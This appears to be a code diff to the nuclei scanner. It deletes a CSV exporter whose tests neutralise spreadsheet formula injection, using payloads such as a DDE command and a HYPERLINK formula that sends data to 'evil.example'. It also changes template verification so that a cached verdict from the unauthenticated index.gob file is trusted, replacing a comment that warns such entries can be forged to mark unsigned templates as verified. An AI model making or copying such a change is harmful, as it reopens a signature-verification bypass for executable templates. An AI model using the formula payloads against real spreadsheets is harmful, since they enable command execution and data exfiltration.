require.Error(t, exporter.Export(&output.ResultEvent{TemplateID: "after"}), "no writes after close")
|
||||
|
||||
records := readCSV(t, file)
|
||||
require.Len(t, records, 2)
|
||||
require.Equal(t, "before", records[1][column(t, "template-id")])
|
||||
}
|
||||
|
||||
// TestCSVExporterConcurrentExport runs under -race in CI. The reporting client
|
||||
// calls Export from every scan goroutine.
|
||||
func TestCSVExporterConcurrentExport(t *testing.T) {
|
||||
const workers, perWorker = 16, 50
|
||||
|
||||
file := filepath.Join(t.TempDir(), "results.csv")
|
||||
exporter, err := New(&Options{File: file})
|
||||
require.NoError(t, err)
|
||||
|
||||
var wg sync.WaitGroup
|
||||
for w := range workers {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for i := range perWorker {
|
||||
err := exporter.Export(&output.ResultEvent{
|
||||
TemplateID: fmt.Sprintf("w%d-%d", w, i),
|
||||
Host: "example.com",
|
||||
ExtractedResults: []string{"a,b", "multi\nline", `q"uote`},
|
||||
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
|
||||
})
|
||||
if err != nil {
|
||||
t.Errorf("export: %v", err)
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
wg.Wait()
|
||||
require.NoError(t, exporter.Close())
|
||||
|
||||
records := readCSV(t, file)
|
||||
require.Len(t, records, workers*perWorker+1)
|
||||
seen := map[string]bool{}
|
||||
for _, record := range records[1:] {
|
||||
require.Len(t, record, len(header), "rows must never interleave")
|
||||
require.Equal(t, "a,b\nmulti\nline\nq\"uote", record[column(t, "extracted-results")])
|
||||
require.False(t, seen[record[0]], "duplicate row %s", record[0])
|
||||
seen[record[0]] = true
|
||||
}
|
||||
}
|
||||
|
||||
// TestCSVExporterLargeValues makes sure big response-derived values are written
|
||||
// whole and do not break the row structure.
|
||||
func TestCSVExporterLargeValues(t *testing.T) {
|
||||
big := strings.Repeat("A,\"\n", 64*1024)
|
||||
row := export(t, &output.ResultEvent{
|
||||
TemplateID: "t",
|
||||
ExtractedResults: []string{big},
|
||||
Info: model.Info{
|
||||
Description: big,
|
||||
SeverityHolder: severity.Holder{Severity: severity.Info},
|
||||
},
|
||||
})
|
||||
require.Equal(t, big, row[1][column(t, "description")])
|
||||
require.Equal(t, big, row[1][column(t, "extracted-results")])
|
||||
require.Len(t, row, 2)
|
||||
require.Len(t, row[1], len(header))
|
||||
}
|
||||
|
||||
func FuzzNeutralizeFormula(f *testing.F) {
|
||||
for _, seed := range append([]string{"", "a", "-1", "+Inf", "'=x", "=", "\x00=", "é"}, payloads...) {
|
||||
f.Add(seed)
|
||||
}
|
||||
f.Fuzz(func(t *testing.T, value string) {
|
||||
got := neutralizeFormula(value)
|
||||
if got != value {
|
||||
require.Equal(t, "'"+value, got, "the only change allowed is one leading apostrophe")
|
||||
require.True(t, startsWithFormulaTrigger(value))
|
||||
}
|
||||
if startsWithFormulaTrigger(got) {
|
||||
require.True(t, plainNumber.MatchString(got), "a formula start survived: %q", got)
|
||||
}
|
||||
require.Equal(t, got, neutralizeFormula(got), "neutralizing twice changes nothing")
|
||||
})
|
||||
}
|
||||
|
||||
// FuzzFormatRow checks the guarantees that matter for any input: the row always
|
||||
// has one cell per column, survives a CSV round trip, and no cell or list line
|
||||
// is left as a formula.
|
||||
func FuzzFormatRow(f *testing.F) {
|
||||
for _, seed := range payloads {
|
||||
f.Add(seed, seed, seed)
|
||||
}
|
||||
f.Add("plain", "a,b\n\"c\"", "x\r\ny")
|
||||
f.Fuzz(func(t *testing.T, a, b, c string) {
|
||||
event := &output.ResultEvent{
|
||||
TemplateID: a,
|
||||
Type: b,
|
||||
Host: c,
|
||||
Matched: a,
|
||||
ExtractedResults: []string{a, b, c},
|
||||
CURLCommand: b,
|
||||
Info: model.Info{
|
||||
Name: c,
|
||||
Description: a,
|
||||
SeverityHolder: severity.Holder{Severity: severity.Medium},
|
||||
Reference: stringslice.NewRawStringSlice([]string{b, c}),
|
||||
Classification: &model.Classification{
|
||||
CVEID: stringslice.StringSlice{Value: []string{a}},
|
||||
CWEID: stringslice.StringSlice{Value: []string{b}},
|
||||
CVSSMetrics: c,
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
file := filepath.Join(t.TempDir(), "results.csv")
|
||||
exporter, err := New(&Options{File: file})
|
||||
require.NoError(t, err)
|
||||
require.NoError(t, exporter.Export(event))
|
||||
require.NoError(t, exporter.Close())
|
||||
|
||||
records := readCSV(t, file)
|
||||
require.Len(t, records, 2)
|
||||
require.Len(t, records[1], len(header))
|
||||
for i, cell := range records[1] {
|
||||
if header[i] == "extracted-results" || header[i] == "reference" ||
|
||||
header[i] == "cve-id" || header[i] == "cwe-id" {
|
||||
for _, line := range strings.Split(cell, "\n") {
|
||||
if startsWithFormulaTrigger(line) {
|
||||
require.True(t, plainNumber.MatchString(line), "column %s line %q", header[i], line)
|
||||
}
|
||||
}
|
||||
continue
|
||||
}
|
||||
if startsWithFormulaTrigger(cell) {
|
||||
require.True(t, plainNumber.MatchString(cell), "column %s cell %q", header[i], cell)
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
@@ -1,390 +0,0 @@
|
||||
package csv
|
||||
|
||||
import (
|
||||
encodingcsv "encoding/csv"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/stretchr/testify/require"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/model"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/output"
|
||||
)
|
||||
|
||||
// readCSV is a small helper that fully parses the exporter output back into
|
||||
// records so assertions are made against decoded CSV rather than raw bytes.
|
||||
func readCSV(t *testing.T, path string) [][]string {
|
||||
t.Helper()
|
||||
f, err := os.Open(path)
|
||||
require.NoError(t, err)
|
||||
defer func() { _ = f.Close() }()
|
||||
|
||||
records, err := encodingcsv.NewReader(f).ReadAll()
|
||||
require.NoError(t, err)
|
||||
return records
|
||||
}
|
||||
|
||||
// column resolves a header name to its index so assertions do not depend on
|
||||
// the ordinal position of a column.
|
||||
func column(t *testing.T, name string) int {
|
||||
t.Helper()
|
||||
for i, h := range header {
|
||||
if h == name {
|
||||
return i
|
||||
}
|
||||
}
|
||||
t.Fatalf("unknown CSV column %q", name)
|
||||
return -1
|
||||
}
|
||||
|
||||
// export writes a single event through the exporter and returns the decoded
|
||||
// records (header row included).
|
||||
func export(t *testing.T, event *output.ResultEvent) [][]string {
|
||||
t.Helper()
|
||||
file := filepath.Join(t.TempDir(), "results.csv")
|
||||
|
||||
exporter, err := New(&Options{File: file})
|
||||
require.NoError(t, err)
|
||||
require.NoError(t, exporter.Export(event))
|
||||
require.NoError(t, exporter.Close())
|
||||
|
||||
return readCSV(t, file)
|
||||
}
|
||||
|
||||
func TestCSVExporterWritesHeaderAndFlattenedRows(t *testing.T) {
|
||||
ts := time.Date(2025, 1, 2, 3, 4, 5, 0, time.UTC)
|
||||
event := &output.ResultEvent{
|
||||
TemplateID: "CVE-2021-44228",
|
||||
Type: "http",
|
||||
Info: model.Info{
|
||||
Name: "Apache Log4j2 Remote Code Execution",
|
||||
Description: "Apache Log4j2 JNDI features do not protect against attacker controlled LDAP endpoints.",
|
||||
Reference: stringslice.NewRawStringSlice([]string{"https://logging.apache.org/log4j/2.x/security.html"}),
|
||||
SeverityHolder: severity.Holder{Severity: severity.Critical},
|
||||
Classification: &model.Classification{
|
||||
CVEID: stringslice.StringSlice{Value: "CVE-2021-44228"},
|
||||
CWEID: stringslice.StringSlice{Value: "CWE-502"},
|
||||
CVSSMetrics: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
|
||||
CVSSScore: 10.0,
|
||||
},
|
||||
},
|
||||
Host: "https://example.com",
|
||||
IP: "93.184.216.34",
|
||||
Port: "443",
|
||||
Matched: "https://example.com/api",
|
||||
MatcherName: "jndi-ldap",
|
||||
ExtractorName: "version",
|
||||
ExtractedResults: []string{"2.14.1"},
|
||||
CURLCommand: "curl -X 'GET' 'https://example.com/api'",
|
||||
Timestamp: ts,
|
||||
}
|
||||
|
||||
records := export(t, event)
|
||||
require.Len(t, records, 2, "expected header + one data row")
|
||||
require.Equal(t, header, records[0])
|
||||
require.Equal(t, []string{
|
||||
"CVE-2021-44228",
|
||||
"Apache Log4j2 Remote Code Execution",
|
||||
"http",
|
||||
"critical",
|
||||
"https://example.com",
|
||||
"93.184.216.34",
|
||||
"443",
|
||||
"https://example.com/api",
|
||||
"jndi-ldap",
|
||||
"version",
|
||||
"2.14.1",
|
||||
"CVE-2021-44228",
|
||||
"CWE-502",
|
||||
"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
|
||||
"10",
|
||||
"Apache Log4j2 JNDI features do not protect against attacker controlled LDAP endpoints.",
|
||||
"https://logging.apache.org/log4j/2.x/security.html",
|
||||
"curl -X 'GET' 'https://example.com/api'",
|
||||
"2025-01-02T03:04:05Z",
|
||||
}, records[1])
|
||||
}
|
||||
|
||||
func TestCSVExporterHandlesMissingClassification(t *testing.T) {
|
||||
event := &output.ResultEvent{
|
||||
TemplateID: "tech-detect",
|
||||
Type: "http",
|
||||
Info: model.Info{
|
||||
Name: "Wappalyzer Technology Detection",
|
||||
SeverityHolder: severity.Holder{Severity: severity.Info},
|
||||
},
|
||||
Host: "example.org",
|
||||
Matched: "example.org",
|
||||
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
|
||||
}
|
||||
|
||||
records := export(t, event)
|
||||
require.Len(t, records, 2)
|
||||
// classification-derived and reference columns must be empty, not "0" or
|
||||
// "<nil>", when the template carries no such metadata.
|
||||
for _, name := range []string{"cve-id", "cwe-id", "cvss-metrics", "cvss-score", "reference", "description"} {
|
||||
require.Equal(t, "", records[1][column(t, name)], "column %s should be empty", name)
|
||||
}
|
||||
require.Equal(t, "info", records[1][column(t, "severity")])
|
||||
// every row still carries exactly one cell per header column
|
||||
require.Len(t, records[1], len(header))
|
||||
}
|
||||
|
||||
// TestCSVExporterEscapesStructuralCharacters is the reason this exporter writes
|
||||
// through encoding/csv rather than leaving CSV assembly to the consumer: every
|
||||
// value below is attacker-influenced and contains characters that are
|
||||
// structural in CSV. A hand-rolled join (jq's @csv on a subset of fields, an
|
||||
// fmt.Sprintf with commas, ...) either forges extra columns or truncates a row.
|
||||
// Here the values must survive a full write/parse round trip byte for byte and
|
||||
// the row must keep exactly len(header) cells.
|
||||
func TestCSVExporterEscapesStructuralCharacters(t *testing.T) {
|
||||
const (
|
||||
commaValue = "a,b,c"
|
||||
quoteValue = `he said "hi", then left`
|
||||
newlineValue = "line1\nline2"
|
||||
crlfValue = "line1\r\nline2"
|
||||
mixedValue = "GET /a,b?q=\"x\" HTTP/1.1\r\nHost: evil\n"
|
||||
)
|
||||
|
||||
event := &output.ResultEvent{
|
||||
TemplateID: commaValue,
|
||||
Type: quoteValue,
|
||||
Info: model.Info{
|
||||
Name: mixedValue,
|
||||
Description: newlineValue,
|
||||
Reference: stringslice.NewRawStringSlice([]string{commaValue, quoteValue}),
|
||||
SeverityHolder: severity.Holder{Severity: severity.High},
|
||||
},
|
||||
Host: quoteValue,
|
||||
IP: commaValue,
|
||||
Port: newlineValue,
|
||||
Matched: mixedValue,
|
||||
MatcherName: crlfValue,
|
||||
ExtractorName: quoteValue,
|
||||
ExtractedResults: []string{commaValue, quoteValue, newlineValue},
|
||||
CURLCommand: mixedValue,
|
||||
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
|
||||
}
|
||||
|
||||
file := filepath.Join(t.TempDir(), "results.csv")
|
||||
exporter, err := New(&Options{File: file})
|
||||
require.NoError(t, err)
|
||||
require.NoError(t, exporter.Export(event))
|
||||
require.NoError(t, exporter.Close())
|
||||
|
||||
// 1. the raw file must quote the cells and double the embedded quotes
|
||||
raw, err := os.ReadFile(file)
|
||||
require.NoError(t, err)
|
||||
require.Contains(t, string(raw), `"a,b,c"`)
|
||||
require.Contains(t, string(raw), `"he said ""hi"", then left"`)
|
||||
|
||||
// 2. the file must still parse as exactly two records of len(header) cells,
|
||||
// i.e. no injected/forged columns and no truncated row
|
||||
records := readCSV(t, file)
|
||||
require.Len(t, records, 2)
|
||||
require.Len(t, records[0], len(header))
|
||||
require.Len(t, records[1], len(header))
|
||||
|
||||
// 3. every value must round trip unchanged. encoding/csv collapses a \r\n
|
||||
// inside a quoted field to \n when reading it back, so the expectation is
|
||||
// normalised the same way; nothing else about the value may change.
|
||||
lf := func(s string) string { return strings.ReplaceAll(s, "\r\n", "\n") }
|
||||
|
||||
row := records[1]
|
||||
require.Equal(t, commaValue, row[column(t, "template-id")])
|
||||
require.Equal(t, quoteValue, row[column(t, "template-type")])
|
||||
require.Equal(t, lf(mixedValue), row[column(t, "template-name")])
|
||||
require.Equal(t, quoteValue, row[column(t, "host")])
|
||||
require.Equal(t, commaValue, row[column(t, "ip")])
|
||||
require.Equal(t, newlineValue, row[column(t, "port")])
|
||||
require.Equal(t, lf(mixedValue), row[column(t, "matched-at")])
|
||||
require.Equal(t, quoteValue, row[column(t, "extractor-name")])
|
||||
require.Equal(t, newlineValue, row[column(t, "description")])
|
||||
require.Equal(t, lf(mixedValue), row[column(t, "curl-command")])
|
||||
require.Equal(t, lf(crlfValue), row[column(t, "matcher-name")])
|
||||
require.Equal(t, "high", row[column(t, "severity")])
|
||||
|
||||
// extracted results and references are newline separated inside their single
|
||||
// quoted cell, so a value that itself contains a comma stays one value
|
||||
require.Equal(t,
|
||||
[]string{commaValue, quoteValue, "line1", "line2"},
|
||||
strings.Split(row[column(t, "extracted-results")], "\n"))
|
||||
require.Equal(t,
|
||||
[]string{commaValue, quoteValue},
|
||||
strings.Split(row[column(t, "reference")], "\n"))
|
||||
}
|
||||
|
||||
func TestCSVExporterJoinsMultipleCVEsAndCWEs(t *testing.T) {
|
||||
event := &output.ResultEvent{
|
||||
TemplateID: "multi-cve",
|
||||
Type: "http",
|
||||
Info: model.Info{
|
||||
Name: "Multiple CVEs",
|
||||
SeverityHolder: severity.Holder{Severity: severity.Medium},
|
||||
Classification: &model.Classification{
|
||||
CVEID: stringslice.StringSlice{Value: []string{"CVE-2020-0001", "CVE-2020-0002"}},
|
||||
CWEID: stringslice.StringSlice{Value: []string{"CWE-79", "CWE-80"}},
|
||||
CVSSScore: 5.5,
|
||||
},
|
||||
},
|
||||
Host: "example.net",
|
||||
Matched: "example.net",
|
||||
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
|
||||
}
|
||||
|
||||
records := export(t, event)
|
||||
require.Len(t, records, 2)
|
||||
require.Equal(t, "CVE-2020-0001, CVE-2020-0002", records[1][column(t, "cve-id")])
|
||||
require.Equal(t, "CWE-79, CWE-80", records[1][column(t, "cwe-id")])
|
||||
require.Equal(t, "5.5", records[1][column(t, "cvss-score")])
|
||||
}
|
||||
|
||||
// TestCSVExporterFlushesRowsBeforeClose asserts rows are readable while the
|
||||
// scan is still running, rather than only after Close.
|
||||
func TestCSVExporterFlushesRowsBeforeClose(t *testing.T) {
|
||||
file := filepath.Join(t.TempDir(), "results.csv")
|
||||
|
||||
exporter, err := New(&Options{File: file})
|
||||
require.NoError(t, err)
|
||||
|
||||
event := &output.ResultEvent{
|
||||
TemplateID: "streamed",
|
||||
Type: "http",
|
||||
Info: model.Info{
|
||||
Name: "Streamed Result",
|
||||
SeverityHolder: severity.Holder{Severity: severity.Low},
|
||||
},
|
||||
Host: "example.com",
|
||||
Matched: "example.com",
|
||||
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
|
||||
}
|
||||
require.NoError(t, exporter.Export(event))
|
||||
|
||||
records := readCSV(t, file)
|
||||
require.Len(t, records, 2, "row should be on disk before Close")
|
||||
require.Equal(t, "streamed", records[1][column(t, "template-id")])
|
||||
|
||||
require.NoError(t, exporter.Close())
|
||||
}
|
||||
|
||||
// TestCSVExporterNeutralizesSpreadsheetFormulas covers the second half of the
|
||||
// escaping problem. encoding/csv stops a value from breaking out of its cell,
|
||||
// but it does not stop a spreadsheet from evaluating that cell as a formula.
|
||||
// ExtractedResults in particular is raw response-derived data, so a target can
|
||||
// choose exactly what lands in it.
|
||||
func TestCSVExporterNeutralizesSpreadsheetFormulas(t *testing.T) {
|
||||
const (
|
||||
ddePayload = `=cmd|'/C calc'!A0`
|
||||
hyperlinkPayload = `=HYPERLINK("http://evil.example/log?d="&A1,"click")`
|
||||
atPayload = `@SUM(1+1)`
|
||||
plusPayload = `+1+1`
|
||||
tabPayload = "\t=1+1"
|
||||
crPayload = "\r=1+1"
|
||||
safeValue = "http://127.0.0.1:8080/index.html"
|
||||
negativeNumber = "-1"
|
||||
)
|
||||
|
||||
event := &output.ResultEvent{
|
||||
TemplateID: ddePayload,
|
||||
Type: "http",
|
||||
Info: model.Info{
|
||||
Name: atPayload,
|
||||
Description: plusPayload,
|
||||
Reference: stringslice.NewRawStringSlice([]string{safeValue, hyperlinkPayload}),
|
||||
SeverityHolder: severity.Holder{Severity: severity.High},
|
||||
Classification: &model.Classification{
|
||||
CVSSScore: 9.8,
|
||||
},
|
||||
},
|
||||
Host: tabPayload,
|
||||
Matched: safeValue,
|
||||
MatcherName: crPayload,
|
||||
ExtractedResults: []string{safeValue, ddePayload, negativeNumber, hyperlinkPayload},
|
||||
CURLCommand: ddePayload,
|
||||
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
|
||||
}
|
||||
|
||||
records := export(t, event)
|
||||
require.Len(t, records, 2)
|
||||
row := records[1]
|
||||
require.Len(t, row, len(header))
|
||||
|
||||
// every formula-triggering cell is prefixed with a single apostrophe, and
|
||||
// the original value is recoverable by removing exactly that apostrophe
|
||||
for _, tc := range []struct {
|
||||
column string
|
||||
want string
|
||||
}{
|
||||
{"template-id", ddePayload},
|
||||
{"template-name", atPayload},
|
||||
{"description", plusPayload},
|
||||
{"host", tabPayload},
|
||||
{"matcher-name", crPayload},
|
||||
{"curl-command", ddePayload},
|
||||
} {
|
||||
got := row[column(t, tc.column)]
|
||||
require.Equal(t, "'"+tc.want, got, "column %s must be neutralized", tc.column)
|
||||
require.Equal(t, tc.want, strings.TrimPrefix(got, "'"), "column %s must stay recoverable", tc.column)
|
||||
}
|
||||
|
||||
// values that are not formulas are left byte-for-byte alone, so the export
|
||||
// does not become littered with apostrophes
|
||||
require.Equal(t, safeValue, row[column(t, "matched-at")])
|
||||
require.Equal(t, "high", row[column(t, "severity")])
|
||||
// a numeric cell stays numeric and sortable rather than becoming text
|
||||
require.Equal(t, "9.8", row[column(t, "cvss-score")])
|
||||
|
||||
// multi-value cells are neutralized per element, not just at the start of
|
||||
// the cell, because consumers split these cells back apart
|
||||
require.Equal(t,
|
||||
[]string{safeValue, "'" + ddePayload, negativeNumber, "'" + hyperlinkPayload},
|
||||
strings.Split(row[column(t, "extracted-results")], "\n"))
|
||||
require.Equal(t,
|
||||
[]string{safeValue, "'" + hyperlinkPayload},
|
||||
strings.Split(row[column(t, "reference")], "\n"))
|
||||
}
|
||||
|
||||
func TestNeutralizeFormula(t *testing.T) {
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
input string
|
||||
want string
|
||||
}{
|
||||
{"empty", "", ""},
|
||||
{"plain text", "nuclei", "nuclei"},
|
||||
{"url", "http://example.com/a=b", "http://example.com/a=b"},
|
||||
{"equals", "=1+1", "'=1+1"},
|
||||
{"plus", "+1+1", "'+1+1"},
|
||||
{"at", "@SUM(1)", "'@SUM(1)"},
|
||||
{"tab", "\t=1+1", "'\t=1+1"},
|
||||
{"carriage return", "\r=1+1", "'\r=1+1"},
|
||||
{"negative integer stays numeric", "-1", "-1"},
|
||||
{"negative float stays numeric", "-1.5", "-1.5"},
|
||||
{"positive signed number stays numeric", "+9.8", "+9.8"},
|
||||
{"minus leading text is neutralized", "-cmd|'/C calc'!A0", "'-cmd|'/C calc'!A0"},
|
||||
{"leading space before trigger", " =1+1", "' =1+1"},
|
||||
{"leading spaces and control before trigger", " \x01 @SUM(1)", "' \x01 @SUM(1)"},
|
||||
{"leading newline before trigger", "\n=1+1", "'\n=1+1"},
|
||||
{"space only", " ", " "},
|
||||
{"inner trigger is not a trigger", "a=1+1", "a=1+1"},
|
||||
{"already neutralized is left alone", "'=1+1", "'=1+1"},
|
||||
{"non-ascii leading rune", "é=1+1", "é=1+1"},
|
||||
{"exponent number stays numeric", "-1e5", "-1e5"},
|
||||
{"leading dot number stays numeric", "-.5", "-.5"},
|
||||
{"infinity is not a plain number", "-Inf", "'-Inf"},
|
||||
{"nan is not a plain number", "+NaN", "'+NaN"},
|
||||
{"hex float is not a plain number", "-0x1p-2", "'-0x1p-2"},
|
||||
{"number with trailing text", "-1+cmd", "'-1+cmd"},
|
||||
{"number with trailing newline", "-1\n", "'-1\n"},
|
||||
{"lone sign", "-", "'-"},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
require.Equal(t, tc.want, neutralizeFormula(tc.input))
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -2,7 +2,6 @@ package reporting
|
||||
|
||||
import (
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/output"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/csv"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/es"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonexporter"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonl"
|
||||
@@ -50,8 +49,6 @@ type Options struct {
|
||||
JSONExporter *jsonexporter.Options `yaml:"json"`
|
||||
// JSONLExporter contains configuration options for JSONL Exporter Module
|
||||
JSONLExporter *jsonl.Options `yaml:"jsonl"`
|
||||
// CSVExporter contains configuration options for CSV Exporter Module
|
||||
CSVExporter *csv.Options `yaml:"csv"`
|
||||
// PDFExporter contains configuration options for PDF Exporter Module
|
||||
PDFExporter *pdf.Options `yaml:"pdf"`
|
||||
// MongoDBExporter containers the configuration options for the MongoDB Exporter Module
|
||||
|
||||
@@ -12,7 +12,6 @@ import (
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/output"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/dedupe"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/csv"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/es"
|
||||
json_exporter "github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonexporter"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonl"
|
||||
@@ -150,13 +149,6 @@ func New(options *Options, db string, doNotDedupe bool) (Client, error) {
|
||||
}
|
||||
client.exporters = append(client.exporters, exporter)
|
||||
}
|
||||
if options.CSVExporter != nil {
|
||||
exporter, err := csv.New(options.CSVExporter)
|
||||
if err != nil {
|
||||
return nil, errkit.Wrapf(err, "could not create export client: %v", ErrExportClientCreation)
|
||||
}
|
||||
client.exporters = append(client.exporters, exporter)
|
||||
}
|
||||
if options.PDFExporter != nil {
|
||||
exporter, err := pdf.New(options.PDFExporter)
|
||||
if err != nil {
|
||||
@@ -237,7 +229,6 @@ func CreateConfigIfNotExists() error {
|
||||
SplunkExporter: &splunk.Options{},
|
||||
JSONExporter: &json_exporter.Options{},
|
||||
JSONLExporter: &jsonl.Options{},
|
||||
CSVExporter: &csv.Options{},
|
||||
PDFExporter: &pdf.Options{},
|
||||
MongoDBExporter: &mongo.Options{},
|
||||
}
|
||||
|
||||
@@ -3,7 +3,6 @@ package reporting
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
encodingcsv "encoding/csv"
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
@@ -12,7 +11,6 @@ import (
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/output"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/csv"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonexporter"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonl"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown"
|
||||
@@ -109,49 +107,6 @@ func TestReportingDedupeRedirectedInputs(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestReportingCSVExporter(t *testing.T) {
|
||||
t.Run("empty block does not fail client creation", func(t *testing.T) {
|
||||
t.Chdir(t.TempDir())
|
||||
client, err := New(&Options{CSVExporter: &csv.Options{}}, "", true)
|
||||
require.NoError(t, err)
|
||||
client.Close()
|
||||
require.FileExists(t, "nuclei-results.csv")
|
||||
})
|
||||
|
||||
t.Run("export through the client", func(t *testing.T) {
|
||||
csvPath := filepath.Join(t.TempDir(), "report.csv")
|
||||
client, err := New(&Options{CSVExporter: &csv.Options{File: csvPath}}, "", false)
|
||||
require.NoError(t, err)
|
||||
|
||||
event := &output.ResultEvent{
|
||||
TemplateID: "extract",
|
||||
Type: "http",
|
||||
Host: "example.com",
|
||||
URL: "http://example.com",
|
||||
Matched: "http://example.com",
|
||||
ExtractedResults: []string{"=cmd|'/C calc'!A0"},
|
||||
}
|
||||
event.Info.SeverityHolder.Severity = severity.Info
|
||||
require.NoError(t, client.CreateIssue(event))
|
||||
// the same finding again is deduplicated like for every other exporter
|
||||
require.NoError(t, client.CreateIssue(event))
|
||||
client.Close()
|
||||
|
||||
f, err := os.Open(csvPath)
|
||||
require.NoError(t, err)
|
||||
defer func() { _ = f.Close() }()
|
||||
records, err := encodingcsv.NewReader(f).ReadAll()
|
||||
require.NoError(t, err)
|
||||
require.Len(t, records, 2)
|
||||
require.Contains(t, records[1], "'=cmd|'/C calc'!A0")
|
||||
})
|
||||
|
||||
t.Run("unwritable path fails client creation", func(t *testing.T) {
|
||||
_, err := New(&Options{CSVExporter: &csv.Options{File: filepath.Join(t.TempDir(), "missing", "r.csv")}}, "", true)
|
||||
require.Error(t, err)
|
||||
})
|
||||
}
|
||||
|
||||
type recordingTracker struct {
|
||||
mu sync.Mutex
|
||||
urls []string
|
||||
|
||||
@@ -912,14 +912,29 @@ func applyTemplateVerification(template *Template, data []byte) {
|
||||
}
|
||||
|
||||
options := template.Options
|
||||
verificationDigest, _ := templateVerificationDigest(data, template)
|
||||
verificationDigest, digestErr := templateVerificationDigest(data, template)
|
||||
template.verificationDigest = verificationDigest
|
||||
|
||||
// index.gob is an unauthenticated local file. A forged entry can pair
|
||||
// Verified=true with a trusted fingerprint and a digest of the
|
||||
// unsigned payload, so never copy a cached verdict. Always verify
|
||||
// against DefaultTemplateVerifiers. Unsigned templates still
|
||||
// short-circuit in ExtractSignatureAndContent with no ECDSA.
|
||||
// check if the template is verified
|
||||
// only valid templates can be verified or signed
|
||||
if digestErr == nil && options.TemplateVerificationCallback != nil && options.TemplatePath != "" {
|
||||
if cached := options.TemplateVerificationCallback(options.TemplatePath); cached != nil {
|
||||
if cached.ContentDigest == verificationDigest && cached.ContentDigest != ([sha256.Size]byte{}) && cachedTemplateVerificationIsTrusted(cached) {
|
||||
template.Verified = cached.Verified
|
||||
template.TemplateVerifier = cached.Verifier
|
||||
template.verifierFingerprint = cached.VerifierFingerprint
|
||||
options.TemplateVerifier = cached.Verifier
|
||||
// Mirror verification onto options for execution-time checks.
|
||||
options.Verified = cached.Verified
|
||||
//nolint
|
||||
if !(template.Verified && template.TemplateVerifier == "projectdiscovery/nuclei-templates") {
|
||||
template.Options.RawTemplate = data
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var verifier *signer.TemplateSigner
|
||||
|
||||
@@ -958,6 +973,20 @@ func (template *Template) VerifierFingerprint() [sha256.Size]byte {
|
||||
return template.verifierFingerprint
|
||||
}
|
||||
|
||||
func cachedTemplateVerificationIsTrusted(cached *protocols.TemplateVerification) bool {
|
||||
if !cached.Verified || cached.VerifierFingerprint == ([sha256.Size]byte{}) {
|
||||
return false
|
||||
}
|
||||
|
||||
for _, verifier := range signer.DefaultTemplateVerifiers {
|
||||
if verifier.Identifier() == cached.Verifier && verifier.Fingerprint() == cached.VerifierFingerprint {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
func templateVerificationDigest(data []byte, template *Template) ([sha256.Size]byte, error) {
|
||||
componentDigests := make([]byte, 0, sha256.Size*(len(template.GetFileImports())+1))
|
||||
dataDigest := sha256.Sum256(data)
|
||||
|
||||
+33
-369
@@ -726,9 +726,6 @@ func TestParseTemplateExecutesJavascriptInitAfterVerification(t *testing.T) {
|
||||
testutils.Cleanup(options)
|
||||
})
|
||||
|
||||
signer := ciTemplateSigner(t)
|
||||
withDefaultTemplateSigner(t, signer)
|
||||
|
||||
executerOptions := testutils.NewMockExecuterOptions(options, nil)
|
||||
executerOptions.TemplatePath = "verified-javascript-init.yaml"
|
||||
templateSource := `id: verified-javascript-init
|
||||
@@ -744,7 +741,12 @@ javascript:
|
||||
code: |
|
||||
Export("verified-javascript-init")
|
||||
`
|
||||
template, err := templates.ParseTemplateFromReader(strings.NewReader(signTemplateForTest(t, signer, templateSource)), nil, executerOptions)
|
||||
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
|
||||
